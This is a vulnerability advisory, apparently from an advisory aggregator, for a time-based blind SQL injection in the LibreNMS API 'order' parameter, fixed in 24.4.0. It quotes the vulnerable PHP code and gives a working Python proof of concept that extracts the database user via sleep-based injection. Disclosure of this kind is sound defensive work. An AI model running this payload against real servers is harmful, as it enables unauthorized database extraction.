LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction
Summary
Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0
Details
in file api_functions.php, line 307 for function list_devices
$order = $request->get('order');
$type = $request->get('type');
$query = $request->get('query');
$param = [];
if (empty($order)) {
$order = 'hostname';
}
if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
$order = 'd.`' . $order . '` ASC';
}
/* ... */
$devices = [];
$dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
foreach (dbFetchRows($dev_query, $param) as $device) {The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.
PoC
For example. this PoC is get current db user
import string
import requests
headers = {
'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
for payload in payloads:
try:
req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
except requests.exceptions.ReadTimeout as ex:
result += payload
print(result),
except Exception as e:
passImpact
Attacker can extract whole database
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 24.4.0 | 24.4.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-89- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 22.04.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-jh57-j3vq-h438 - CC BY 4.0
Vulnerability history: librenms/librenms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.